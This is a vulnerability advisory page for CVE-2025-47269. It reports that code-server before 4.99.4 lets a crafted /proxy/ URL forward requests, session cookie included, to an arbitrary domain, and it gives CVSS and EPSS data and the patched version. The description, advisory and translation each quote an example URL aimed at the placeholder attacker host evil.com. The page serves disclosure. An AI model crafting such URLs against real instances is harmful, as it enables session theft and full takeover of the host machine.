8.3high
code-server session cookie can be extracted by having user visit specially crafted proxy URL
- Severity
- 8.3high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 56.3% (higher than 99% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-p483-wpfp-42cj
Description
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| coder code-server | < 4.99.4 | CVE List |
| code-server (npm) | before 4.99.4 | GitHub Advisory Database |
All scores
| GitHub_M | 8.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L |
| GitHub | 8.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.
What each source says
CVE List
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
GitHub Advisory Database
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
NVD (es)
Code-server ejecuta VS Code en cualquier máquina, desde cualquier lugar, mediante acceso al navegador. Antes de la versión 4.99.4, una URL maliciosa que usara la subruta del proxy podía permitir que un atacante obtuviera acceso al token de sesión. Si no se valida correctamente el puerto para una solicitud de proxy, se puede redirigir a un dominio arbitrario. La URL maliciosa «https:///proxy/test@evil.com/path» se redirigía a «test@evil.com/path», donde el atacante podría extraer el token de sesión de un usuario. Cualquier usuario que ejecute Code-server con el proxy integrado habilitado haga clic en enlaces maliciosos que dirijan a sus instancias de Code-server con referencia a /proxy. Normalmente, esto se utiliza para redirigir puertos locales; sin embargo, la URL puede hacer referencia al dominio del atacante, y la conexión se redirige a ese dominio, lo que incluye el envío de cookies. Con acceso a la cookie de sesión, el atacante puede iniciar sesión en el servidor de código y tener acceso completo a la máquina que lo aloja como el usuario que lo ejecuta. Este problema se ha corregido en la versión 4.99.4.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-47269 changed 2025-05-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-p483-wpfp-42cj changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2025-47269 changed 2026-06-17 | Public domain |